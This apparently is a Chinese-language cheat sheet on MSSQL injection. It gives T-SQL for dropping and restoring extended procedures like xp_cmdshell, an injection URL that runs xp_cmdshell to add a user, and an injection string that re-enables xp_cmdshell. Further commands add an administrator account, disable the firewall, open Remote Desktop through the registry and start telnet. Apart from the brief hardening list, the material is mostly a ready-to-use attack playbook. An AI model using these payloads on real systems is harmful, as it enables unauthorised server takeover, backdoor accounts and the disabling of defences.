mssql注入中的储存用法删除与恢复

删除:

use master
exec sp_dropextendedproc 'xp_cmdshell'
exec sp_dropextendedproc 'xp_enumgroups'
exec sp_dropextendedproc 'xp_loginconfig'
exec sp_dropextendedproc 'xp_enumerrorlogs'
exec sp_dropextendedproc 'xp_getfiledetails'
exec sp_dropextendedproc 'Sp_OACreate'
exec sp_dropextendedproc 'Sp_OADestroy'
exec sp_dropextendedproc 'Sp_OAGetErrorInfo'
exec sp_dropextendedproc 'Sp_OAGetProperty'
exec sp_dropextendedproc 'Sp_OAMethod'
exec sp_dropextendedproc 'Sp_OASetProperty'
exec sp_dropextendedproc 'Sp_OAStop'
exec sp_dropextendedproc 'xp_regaddmultistring'
exec sp_dropextendedproc 'xp_regdeletekey'
exec sp_dropextendedproc 'xp_regdeletevalue'
exec sp_dropextendedproc 'xp_regenumvalues'
exec sp_dropextendedproc 'xp_regremovemultistring'
exec sp_dropextendedproc 'xp_regwrite'
drop procedure sp_makewebtask
go

恢复:

use master
EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
EXEC sp_addextendedproc xp_enumgroups ,@dllname ='xplog70.dll'
EXEC sp_addextendedproc xp_loginconfig ,@dllname ='xplog70.dll'
EXEC sp_addextendedproc xp_enumerrorlogs ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_getfiledetails ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc Sp_OACreate ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OADestroy ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAGetErrorInfo ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAGetProperty ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAMethod ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OASetProperty ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAStop ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc xp_regaddmultistring ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regdeletekey ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regdeletevalue ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regenumvalues ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regremovemultistring ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regwrite ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_dirtree ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regread ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_fixeddrives ,@dllname ='xpstar.dll'
go

对于mssql SA权限的注入，最简单的运行方法可以用如下方法测试:

http://test.com/chan.aspx?id1=14';EXEC xp_cmdshell 'net user perl perl6 /add'--+

在注入方面，如果要恢复，可以这样:

EXEC sp_configure 'show advanced options',1//允许修改高级参数
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1  //打开xp_cmdshell扩展
RECONFIGURE

或者：

';EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--

在注入添恢复扩展后，用如下方式可添加管理员与添加3389：

EXEC xp_cmdshell 'net user colesec pa$$w0rd /ADD'
EXEC xp_cmdshell 'net localgroup Administrators colesec /ADD'
EXEC xp_cmdshell 'netsh firewall set opmode disable'
EXEC xp_cmdshell 'reg add "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'

#注意这里:
#如果xp_cmdshell不行， 记得改为master..xp_cmdshell

#上面第四条语句，是dos下的注删表操作，关于开3389与查看3389窗口，可查看如下链接:

#dos下查看3389端口与开启3389

除了xp_cmdshell还有操作注册表的:

xp_regaddmultistring
xp_regdeletekey //删除键
xp_regdeletevalue //删除值
xp_regenumkeys
xp_regenumvalues //返回多个值
xp_regread //读取键值
xp_regremovemultistring
xp_regwrite //写入键值 
控制服务的xp_servicecontrol等
开启telnet服务
execmaster..xp_servicecontrol 'start', 'tlntsvr'
